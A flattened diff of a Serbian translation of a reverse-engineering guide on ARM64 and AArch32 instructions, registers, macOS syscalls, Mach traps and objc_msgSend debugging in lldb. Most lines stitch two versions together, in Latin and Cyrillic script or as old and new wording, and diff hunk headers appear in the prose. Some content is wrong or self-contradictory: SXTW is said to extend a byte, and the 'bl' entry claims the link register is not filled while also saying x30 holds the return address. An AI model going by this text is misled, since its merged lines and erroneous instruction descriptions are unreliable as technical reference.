* **`UBFIZ X1, X2, #3, #4`** Proširuje nulama 4 bita iz X2 i umetni ih u X1 počevši od bita 3, nulirajući desne bitove * **`UBFIZ X1, X2, #3, #4`** Нулира 4 бита из X2 и умета их у X1 почињући на позицији бита 3 нулирајући десне битове
* **`UBFX X1, X2, #3, #4`** Ekstraktuje 4 bita počevši od bita 3 iz X2 i smešta nulirani rezultat u X1. * **`UBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на биту 3 из X2 и ставља нулирано проширени резултат у X1.
* **Proširi znak na X:** Proširuje znak (ili dodaje samo 0 u nepotpisanom obliku) vrednosti kako bi se mogle izvršiti operacije sa njom: * **Проширите знак на X:** Проширите знак (или само додајте 0 у непотписаној верзији) вредности да бисте могли да извршите операције с њом:
* **`SXTB X1, W2`** Proširuje znak bajta **iz W2 u X1** (`W2` je polovina `X2`) da popuni 64 bita * **`SXTB X1, W2`** Проширите знак байта **из W2 у X1** (`W2` је половина `X2`) да попуните 64 бита
* **`SXTH X1, W2`** Proširuje znak 16-bitnog broja **iz W2 u X1** da popuni 64 bita * **`SXTH X1, W2`** Проширите знак 16-битног броја **из W2 у X1** да попуните 64 бита
* **`SXTW X1, W2`** Proširuje znak bajta **iz W2 u X1** da popuni 64 bita * **`SXTW X1, W2`** Проширите знак байта **из W2 у X1** да попуните 64 бита
* **`UXTB X1, W2`** Dodaje 0 (nepotpisano) bajtu **iz W2 u X1** da popuni 64 bita * **`UXTB X1, W2`** Додаје 0 (непотписано) на байт **из W2 у X1** да попуните 64 бита
* **`extr`:** Ekstraktuje bitove iz određenog **para registara konkateniranih**. * **`extr`:** Извлачи битове из одређеног **пара регистара конкатенисаних**.
* Primer: `EXTR W3, W2, W1, #3` Ovo će **konkatenirati W1+W2** i uzeti **od bita 3 iz W2 do bita 3 iz W1** i smestiti u W3. * Пример: `EXTR W3, W2, W1, #3` Ово ће **конкатенисати W1+W2** и добити **од бита 3 W2 до бита 3 W1** и сачувати у W3.
* **`cmp`**: **Uporedi** dva registra i postavi uslovne zastave. To je **alias za `subs`** postavljajući destinacioni registar na nulu. Korisno za proveru da li je `m == n`. * **`cmp`**: **Поређење** два регистра и постављање условних заставица. То је **алиас `subs`** постављајући регистар дестинације на нулти регистар. Корисно за проверу да ли је `m == n`.
* Podržava **istu sintaksu kao `subs`** * Подржава **исту синтаксу као `subs`**
* Primer: `cmp x0, x1` — Ovo upoređuje vrednosti u `x0` i `x1` i postavlja uslovne zastave prema tome. * Пример: `cmp x0, x1` — Ово пореди вредности у `x0` и `x1` и поставља условне заставице у складу с тим.
* **`cmn`**: **Uporedi negativno** operand. U ovom slučaju je to **alias za `adds`** i podržava istu sintaksu. Korisno za proveru da li je `m == -n`. * **`cmn`**: **Поређење негативног** операнда. У овом случају је **алиас `adds`** и подржава исту синтаксу. Корисно за проверу да ли је `m == -n`.
* **`ccmp`**: Uslovno upoređivanje, upoređivanje koje će se izvršiti samo ako je prethodno upoređivanje bilo tačno i posebno će postaviti nzcv bitove. * **`ccmp`**: Условно поређење, то је поређење које ће бити извршено само ако је претходно поређење било тачно и конкретно ће поставити nzcv битове.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ako x1 != x2 i x3 < x4, skoči na funkciju * `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ако x1 != x2 и x3 < x4, скочи на func
* To je zato što će se **`ccmp`** izvršiti samo ako je **prethodni `cmp` bio `NE`**, ako nije bitovi `nzcv` će biti postavljeni na 0 (što neće zadovoljiti `blt` upoređivanje). * Ово је зато што ће **`ccmp`** бити извршено само ако је **претходни `cmp` био `NE`**, ако није, битови `nzcv` ће бити постављени на 0 (што неће задовољити `blt` поређење).
* Ovo takođe može biti korišćeno kao `ccmn` (isto ali negativno, kao `cmp` vs `cmn`). * Ово се може користити и као `ccmn` (исто али негативно, као `cmp` против `cmn`).
* **`tst`**: Proverava da li su vrednosti upoređivanja oba 1 (radi kao i ANDS bez smeštanja rezultata bilo gde). Korisno je proveriti registar sa vrednošću i proveriti da li su bilo koji bitovi registra naznačeni u vrednosti 1. * **`tst`**: Проверава да ли су било које од вредности поређења обе 1 (ради као ANDS без чувања резултата било где). Корисно је проверити регистар са вредношћу и проверити да ли је било који од битова регистра назначених у вредности 1.
* Primer: `tst X1, #7` Proveri da li su bilo koji od poslednja 3 bita X1 1 * Пример: `tst X1, #7` Проверава да ли је било који од последња 3 бита X1 1
* **`teq`**: XOR operacija odbacivanjem rezultata * **`teq`**: XOR операција без чувања резултата
* **`b`**: Bezuslovni skok * **`b`**: Непосредна грана
* Primer: `b mojaFunkcija` * Пример: `b myFunction`
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad) * Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
* **`bl`**: **Skok** sa linkom, koristi se za **poziv** potprograma. Čuva **povratnu adresu u `x30`**. * **`bl`**: **Гранка** са повратком, користи се за **позив** **подпрограма**. Чува **адресу повратка у `x30`**.
* Primer: `bl mojaFunkcija` — Ovo poziva funkciju `mojaFunkcija` i čuva povratnu adresu u `x30`. * Пример: `bl myFunction` — Ово позива функцију `myFunction` и чува адресу повратка у `x30`.
* Imajte na umu da ovo neće popuniti registar linka sa povratnom adresom (nije pogodno za pozive potprograma koji treba da se vrate nazad) * Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
* **`blr`**: **Skok** sa Linkom u Registar, koristi se za **poziv** potprograma gde je cilj **specifikovan** u registru. Čuva povratnu adresu u `x30`. (Ovo je * **`blr`**: **Гранка** са повратком у регистар, користи се за **позив** **подпрограма** где је циљ **наведен** у **регистру**. Чува адресу повратка у `x30`. (Ово је
* Primer: `blr x1` — Ovo poziva funkciju čija je adresa sadržana u `x1` i čuva povratnu adresu u `x30`. * Пример: `blr x1` — Ово позива функцију чија адреса је садржана у `x1` и чува адресу повратка у `x30`.
* **`ret`**: **Povratak** iz **potprograma**, obično koristeći adresu u **`x30`**. * **`ret`**: **Врати се** из **подпрограма**, обично користећи адресу у **`x30`**.
* Primer: `ret` — Ovo se vraća iz trenutnog potprograma koristeći povratnu adresu u `x30`. * Пример: `ret` — Ово се враћа из тренутног подпрограма користећи адресу повратка у `x30`.
* **`b.<uslov>`**: Uslovni skokovi * **`b.<cond>`**: Условне гране
* **`b.eq`**: **Skok ako je jednako**, zasnovan na prethodnoj `cmp` instrukciji. * **`b.eq`**: **Гранка ако је једнако**, на основу претходне `cmp` инструкције.
* Primer: `b.eq oznaka` — Ako je prethodna `cmp` instrukcija pronašla dve jednake vrednosti, skoči na `oznaka`. * Пример: `b.eq label` — Ако је претходна `cmp` инструкција пронашла две једнаке вредности, ово скочи на `label`.
* **`b.ne`**: **Skok ako nije jednako**. Ova instrukcija proverava uslovne zastave (koje su postavljene prethodnom instrukcijom poređenja) i ako upoređene vrednosti nisu jednake, preskače do oznake ili adrese. * **`b.ne`**: **Гранка ако није једнако**. Ова инструкција проверава условне заставице (које су постављене претходном инструкцијом поређења), и ако упоређиване вредности нису једнаке, грана се на ознаку или адресу.
* Primer: Nakon `cmp x0, x1` instrukcije, `b.ne label` — Ako vrednosti u `x0` i `x1` nisu jednake, preskače do `label`. * Пример: Након `cmp x0, x1` инструкције, `b.ne label` — Ако вредности у `x0` и `x1` нису једнаке, ово скочи на `label`.
* **`cbz`**: **Uporedi i skoči ako je nula**. Ova instrukcija upoređuje registar sa nulom i ako su jednaki, preskače do oznake ili adrese. * **`cbz`**: **Поређење и гранање на нулу**. Ова инструкција пореди регистар са нулом, и ако су једнаке, грана се на ознаку или адресу.
* Primer: `cbz x0, label` — Ako je vrednost u `x0` nula, preskače do `label`. * Пример: `cbz x0, label` — Ако је вредност у `x0` нула, ово скочи на `label`.
* **`cbnz`**: **Uporedi i skoči ako nije nula**. Ova instrukcija upoređuje registar sa nulom i ako nisu jednaki, preskače do oznake ili adrese. * **`cbnz`**: **Поређење и гранање на ненуло**. Ова инструкција пореди регистар са нулом, и ако нису једнаке, грана се на ознаку или адресу.
* Primer: `cbnz x0, label` — Ako je vrednost u `x0` različita od nule, preskače do `label`. * Пример: `cbnz x0, label` — Ако је вредност у `x0` ненула, ово скочи на `label`.
* **`tbnz`**: Testiranje bita i skok ako nije nula * **`tbnz`**: Тестирај бит и гранај на ненуло
* Primer: `tbnz x0, #8, label` * Пример: `tbnz x0, #8, label`
* **`tbz`**: Testiranje bita i skok ako je nula * **`tbz`**: Тестирај бит и гранај на нулу
* Primer: `tbz x0, #8, label` * Пример: `tbz x0, #8, label`
* **Operacije uslovnog izbora**: Ovo su operacije čije ponašanje varira u zavisnosti od uslovnih bitova. * **Условне операције избора**: Ово су операције чије понашање варира у зависности од условних битова.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ako je tačno, X0 = X1, ako nije, X0 = X2 * `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ако је тачно, X0 = X1, ако није, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = Xm + 1 * `csinc Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Ako je tačno, Xd = Xn + 1, ako nije, Xd = Xn * `cinc Xd, Xn, cond` -> Ако је тачно, Xd = Xn + 1, ако није, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = NIJE(Xm) * `csinv Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = NOT(Xm)
* `cinv Xd, Xn, cond` -> Ako je tačno, Xd = NIJE(Xn), ako nije, Xd = Xn * `cinv Xd, Xn, cond` -> Ако је тачно, Xd = NOT(Xn), ако није, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Ako je tačno, Xd = Xn, ako nije, Xd = - Xm * `csneg Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = - Xm
* `cneg Xd, Xn, cond` -> Ako je tačno, Xd = - Xn, ako nije, Xd = Xn * `cneg Xd, Xn, cond` -> Ако је тачно, Xd = - Xn, ако није, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Ako je tačno, Xd = 1, ako nije, Xd = 0 * `cset Xd, Xn, Xm, cond` -> Ако је тачно, Xd = 1, ако није, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Ako je tačno, Xd = \<svi 1>, ako nije, Xd = 0 * `csetm Xd, Xn, Xm, cond` -> Ако је тачно, Xd = \<сви 1>, ако није, Xd = 0
* **`adrp`**: Izračunava **adresu stranice simbola** i smešta je u registar. * **`adrp`**: Израчунати **адресу странице симбола** и сачувати је у регистру.
* Primer: `adrp x0, symbol` — Ovo izračunava adresu stranice `symbol` i smešta je u `x0`. * Пример: `adrp x0, symbol` — Ово израчунава адресу странице симбола `symbol` и чува је у `x0`.
* **`ldrsw`**: **Učitava** potpisanu **32-bitnu** vrednost iz memorije i **proširuje je na 64** bita. * **`ldrsw`**: **Учитајте** потписану **32-битну** вредност из меморије и **потписано проширите на 64** бита.
* Primer: `ldrsw x0, [x1]` — Ovo učitava potpisanu 32-bitnu vrednost sa lokacije u memoriji na koju pokazuje `x1`, proširuje je na 64 bita i smešta je u `x0`. * Пример: `ldrsw x0, [x1]` — Ово учитава потписану 32-битну вредност из меморијске локације на коју указује `x1`, потписано је проширује на 64 бита и чува у `x0`.
* **`stur`**: **Čuva vrednost registra na lokaciji u memoriji**, koristeći pomeraj od drugog registra. * **`stur`**: **Сачувајте вредност регистра на меморијској локацији**, користећи офсет из другог регистра.
* Primer: `stur x0, [x1, #4]` — Ovo smešta vrednost iz `x0` na adresu u memoriji koja je 4 bajta veća od adrese u `x1`. * Пример: `stur x0, [x1, #4]` — Ово чува вредност у `x0` у меморијској адреси која је 4 бајта већа од адресе која се тренутно налази у `x1`.
* **`svc`** : Pravi **sistemski poziv**. Označava "Supervizorski poziv". Kada procesor izvrši ovu instrukciju, **prelazi iz korisničkog režima u režim jezgra** i skače na određenu lokaciju u memoriji gde se nalazi kod za **obradu sistemskog poziva jezgra**. * **`svc`** : Извршите **системски позив**. Ово значи "Позив супервизора". Када процесор извршава ову инструкцију, **прелази из корисничког режима у режим језгра** и скочи на одређену локацију у меморији где се налази **код за обраду системских позива језгра**.
* Primer: * Пример:
```armasm ```armasm
mov x8, 93 ; Učitava broj sistema za izlazak (93) u registar x8. mov x8, 93 ; Учитајте број системског позива за излаз (93) у регистар x8.
mov x0, 0 ; Učitava kod statusa izlaska (0) u registar x0. mov x0, 0 ; Учитајте код статуса излаза (0) у регистар x0.
svc 0 ; Pravi sistemski poziv. svc 0 ; Извршите системски позив.
``` ```
### **Prolog funkcije** ### **Пролог функције**
1. **Sačuvajte registar veze i pokazivač okvira na steku**: 1. **Сачувајте регистар за повратак и показивач оквира на стеку**:
{% code overflow="wrap" %}
```armasm ```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
``` ```
{% endcode %} {% endcode %}
2. **Postavite novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju) 2. **Postavite novi pokazivač okvira**: `mov x29, sp` (postavlja novi pokazivač okvira za trenutnu funkciju)
3. **Alocirajte prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj bajtova potreban) 3. **Dodelite prostor na steku za lokalne promenljive** (ako je potrebno): `sub sp, sp, <size>` (gde je `<size>` broj bajtova koji su potrebni)
### **Epilog funkcije** ### **Epilog funkcije**
1. **Dealocirajte lokalne promenljive (ako su alocirane)**: `add sp, sp, <size>` 1. **Dealokacija lokalnih promenljivih (ako su dodeljene)**: `add sp, sp, <size>`
2. **Vratite registar veze i pokazivač okvira**: 2. **Obnovite registrator veze i pokazivač okvira**:
{% code overflow="wrap" %}
```armasm ```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
``` ```
{% endcode %} {% endcode %}
3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u registru veze) 3. **Povratak**: `ret` (vraća kontrolu pozivaocu koristeći adresu u link registru)
## Stanje izvršenja AARCH32 ## AARCH32 Izvršni Stanje
Armv8-A podržava izvršenje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prelaziti između njih putem **`međusobnog rada`**.\ Armv8-A podržava izvršavanje 32-bitnih programa. **AArch32** može raditi u jednom od **dva skupa instrukcija**: **`A32`** i **`T32`** i može prebacivati između njih putem **`interworking`**.\
**Privilegovani** 64-bitni programi mogu zakazati **izvršenje 32-bitnih** programa izvršavanjem transfera nivoa izuzetka ka niže privilegovanom 32-bitnom programu.\ **Privilegovani** 64-bitni programi mogu zakazati **izvršavanje 32-bitnih** programa izvršavanjem prenosa nivoa izuzetka na niže privilegovane 32-bitne.\
Napomena da se prelazak sa 64-bitnog na 32-bitni dešava sa nižim nivoom izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4 od** specijalnog registra **`SPSR_ELx`** na **1** kada je `AArch32` procesna nit spremna za izvršenje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva instrukciju **`ERET`** kako bi procesor prešao u **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR\*\*.\*\* Napomena: prelazak sa 64-bitnog na 32-bitni se dešava sa smanjenjem nivoa izuzetka (na primer, 64-bitni program u EL1 pokreće program u EL0). Ovo se postiže postavljanjem **bita 4** **`SPSR_ELx`** specijalnog registra **na 1** kada je `AArch32` procesna nit spremna za izvršavanje, a ostatak `SPSR_ELx` čuva **`AArch32`** programe CPSR. Zatim, privilegovani proces poziva **`ERET`** instrukciju tako da procesor prelazi na **`AArch32`** ulazeći u A32 ili T32 u zavisnosti od CPSR\*\*.\*\*
**`Međusobni rad`** se dešava korišćenjem bitova J i T CPSR-a. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se u osnovi prevodi na postavljanje **najnižeg bita na 1** kako bi se naznačilo da je skup instrukcija T32.\ **`Interworking`** se dešava korišćenjem J i T bitova CPSR. `J=0` i `T=0` znači **`A32`** i `J=0` i `T=1` znači **T32**. Ovo se suštinski prevodi na postavljanje **najnižeg bita na 1** da označi da je skup instrukcija T32.\
Ovo se postavlja tokom **instrukcija grana međusobnog rada,** ali može biti postavljeno direktno i drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer: Ovo se postavlja tokom **interworking grana instrukcija,** ali se takođe može postaviti direktno sa drugim instrukcijama kada je PC postavljen kao registar odredišta. Primer:
Još jedan primer: Još jedan primer:
```armasm ```armasm
@ -284,60 +281,60 @@ mov r0, #8
``` ```
### Registri ### Registri
Postoje 16 registara od 32 bita (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih obično su rezervisani: Postoji 16 32-bitnih registara (r0-r15). **Od r0 do r14** mogu se koristiti za **bilo koju operaciju**, međutim neki od njih su obično rezervisani:
- **`r15`**: Brojač programa (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutno + 8, u T32, trenutno + 4. * **`r15`**: Program counter (uvek). Sadrži adresu sledeće instrukcije. U A32 trenutni + 8, u T32, trenutni + 4.
- **`r11`**: Pokazivač okvira * **`r11`**: Frame Pointer
- **`r12`**: Registar za unutarproceduralne pozive * **`r12`**: Intra-procedural call register
- **`r13`**: Pokazivač steka * **`r13`**: Stack Pointer
- **`r14`**: Registar za povezivanje * **`r14`**: Link Register
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\ Pored toga, registri su podržani u **`banked registries`**. To su mesta koja čuvaju vrednosti registara, omogućavajući **brzo prebacivanje konteksta** u obradi izuzetaka i privilegovanih operacija kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** procesorskog moda u koji se preuzima izuzetak. Prilikom povratka iz izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**. To se postiže **čuvanjem stanja procesora iz `CPSR` u `SPSR`** režima procesora u kojem se izuzetak dešava. Kada se izuzetak vrati, **`CPSR`** se vraća iz **`SPSR`**.
### CPSR - Trenutni registar statusa programa ### CPSR - Registro trenutnog statusa programa
U AArch32, CPSR radi slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se preuzme izuzetak radi kasnijeg obnavljanja izvršenja: U AArch32 CPSR funkcioniše slično **`PSTATE`** u AArch64 i takođe se čuva u **`SPSR_ELx`** kada se izuzetak dešava kako bi se kasnije obnovila izvršenja:
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
Polja su podeljena u neke grupe: Polja su podeljena u nekoliko grupa:
- Registar statusa aplikacije (APSR): Aritmetičke zastavice i pristupačne iz EL0 * Registro statusa aplikacionog programa (APSR): Aritmetičke zastavice i dostupne iz EL0
- Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a). * Registrovi stanja izvršenja: Ponašanje procesa (u upravljanju od strane OS-a).
#### Registar statusa aplikacije (APSR) #### Registro statusa aplikacionog programa (APSR)
- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64) * Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (poput AArch64)
- Zastava **`Q`**: Postavlja se na 1 kada se **desi zasićenje celobrojnih vrednosti** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržava vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, već se to mora uraditi čitanjem ručno. * Zastavica **`Q`**: Postavlja se na 1 kada god **dođe do saturacije celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije sa saturacijom. Kada se postavi na **`1`**, zadržaće tu vrednost dok se ručno ne postavi na 0. Pored toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, to se mora uraditi čitanjem ručno.
- **`GE`** (Veće ili jednako) zastave: Koriste se u SIMD (Single Instruction, Multiple Data) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji. * **`GE`** (Veće ili jednako) Zastavice: Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, kao što su "paralelno sabiranje" i "paralelno oduzimanje". Ove operacije omogućavaju obradu više tačaka podataka u jednoj instrukciji.
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastave u `APSR`** na osnovu ovih rezultata. Svaka GE zastava odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**. Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastavice u `APSR`** na osnovu ovih rezultata. Svaka GE zastavica odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prelilo**.
Instrukcija **`SEL`** koristi ove GE zastave za izvođenje uslovnih radnji. Instrukcija **`SEL`** koristi ove GE zastavice za izvršavanje uslovnih akcija.
#### Registri stanja izvršenja #### Registrovi stanja izvršenja
- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32. * Zastavice **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
- Registar stanja IT bloka (`ITSTATE`): To su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**. * **IT Block State Register** (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
- Bit **`E`**: Označava **endianness**. * **`E`** bit: Ukazuje na **endianness**.
- Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Postavljeni broj označava **trenutni prioritet** u slučaju da se desi još jedan izuzetak dok se ovaj rukuje. * **Bitovi režima i maske izuzetaka** (0-4): Određuju trenutno stanje izvršenja. **5.** označava da li program radi kao 32bit (1) ili 64bit (0). Ostala 4 predstavljaju **režim izuzetka koji se trenutno koristi** (kada se izuzetak dešava i obrađuje). Broj postavljen **ukazuje na trenutni prioritet** u slučaju da se drugi izuzetak pokrene dok se ovaj obrađuje.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ). i F je povezan sa **brzim zahtevima za prekidima** (FIR). * **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će **asinkroni aborti** biti pokrenuti. **`I`** konfiguriše odgovor na spoljne hardverske **Interrupts Requests** (IRQs). a F se odnosi na **Fast Interrupt Requests** (FIRs).
## macOS ## macOS
### BSD sistemski pozivi ### BSD syscalls
Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD sistemski pozivi će imati **x16 > 0**. Pogledajte [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls će imati **x16 > 0**.
### Mach zamke ### Mach Traps
Pogledajte u [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` i u [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototipove. Maksimalan broj Mach zamki je `MACH_TRAP_TABLE_COUNT` = 128. Mach zamke će imati **x16 < 0**, pa je potrebno pozvati brojeve sa prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**. Pogledajte u [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` i u [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototipove. Maksimalni broj Mach traps je `MACH_TRAP_TABLE_COUNT` = 128. Mach traps će imati **x16 < 0**, tako da treba da pozovete brojeve iz prethodne liste sa **minusom**: **`_kernelrpc_mach_vm_allocate_trap`** je **`-10`**.
Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako pozvati ove (i BSD) sistemski pozivi: Takođe možete proveriti **`libsystem_kernel.dylib`** u disassembleru da biste saznali kako da pozovete ove (i BSD) syscalls:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -349,31 +346,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
``` ```
{% endcode %} {% endcode %}
Napomena da **Ida** i **Ghidra** takođe mogu dekompilirati **specifične dylibs** iz keša jednostavno prolazeći kroz keš.
{% hint style="success" %} {% hint style="success" %}
Ponekad je lakše proveriti **dekompilovani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer je kod nekoliko sistemskih poziva (BSD i Mach) generisan putem skripti (proverite komentare u izvornom kodu), dok u dylib datoteci možete pronaći šta se poziva. Ponekad je lakše proveriti **dekompilirani** kod iz **`libsystem_kernel.dylib`** **nego** proveravati **izvorni kod** jer se kod nekoliko syscalls (BSD i Mach) generiše putem skripti (proverite komentare u izvoru) dok u dylib-u možete pronaći šta se poziva.
{% endhint %} {% endhint %}
### machdep pozivi ### machdep pozivi
XNU podržava još jednu vrstu poziva nazvanih zavisnih od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu zagarantovani da će ostati konstantni. XNU podržava još jedan tip poziva koji se naziva zavistan od mašine. Broj ovih poziva zavisi od arhitekture i ni pozivi ni brojevi nisu garantovani da ostanu konstantni.
### comm stranica ### comm stranica
Ovo je stranica memorije vlasništvo jezgra koja je mapirana u adresni prostor svakog korisničkog procesa. Namena joj je da ubrza prelazak iz režima korisnika u prostor jezgra brže nego korišćenjem sistemskih poziva za jezgrene usluge koje se toliko koriste da bi taj prelazak bio veoma neefikasan. Ovo je stranica memorije koju poseduje kernel i koja je mapirana u adresni prostor svakog korisničkog procesa. Namenjena je da ubrza prelazak iz korisničkog moda u kernel prostor brže nego korišćenje syscalls za kernel usluge koje se toliko koriste da bi ovaj prelazak bio veoma neefikasan.
Na primer, poziv `gettimeofdate` čita vrednost `timeval` direktno sa comm stranice. Na primer, poziv `gettimeofdate` čita vrednost `timeval` direktno sa comm stranice.
### objc\_msgSend ### objc\_msgSend
Veoma je često naći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C. Veoma je uobičajeno pronaći ovu funkciju korišćenu u Objective-C ili Swift programima. Ova funkcija omogućava pozivanje metode objekta Objective-C.
Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)): Parametri ([više informacija u dokumentaciji](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Pokazivač na instancu * x0: self -> Pokazivač na instancu
* x1: op -> Selektor metode * x1: op -> Selektor metode
* x2... -> Ostali argumenti pozvane metode * x2... -> Ostatak argumenata pozvane metode
Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb- u (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će pokrenuti komandu): Dakle, ako stavite breakpoint pre grananja na ovu funkciju, lako možete pronaći šta se poziva u lldb sa (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će izvršiti komandu):
```bash ```bash
# Right in the line were objc_msgSend will be called # Right in the line were objc_msgSend will be called
(lldb) po $x0 (lldb) po $x0
@ -392,32 +391,32 @@ whoami
) )
``` ```
{% hint style="success" %} {% hint style="success" %}
Postavljanjem env promenljive **`NSObjCMessageLoggingEnabled=1`** moguće je zabeležiti kada je ova funkcija pozvana u datoteci poput `/tmp/msgSends-pid`. Postavljanjem env varijable **`NSObjCMessageLoggingEnabled=1`** moguće je logovati kada se ova funkcija poziva u datoteci kao što je `/tmp/msgSends-pid`.
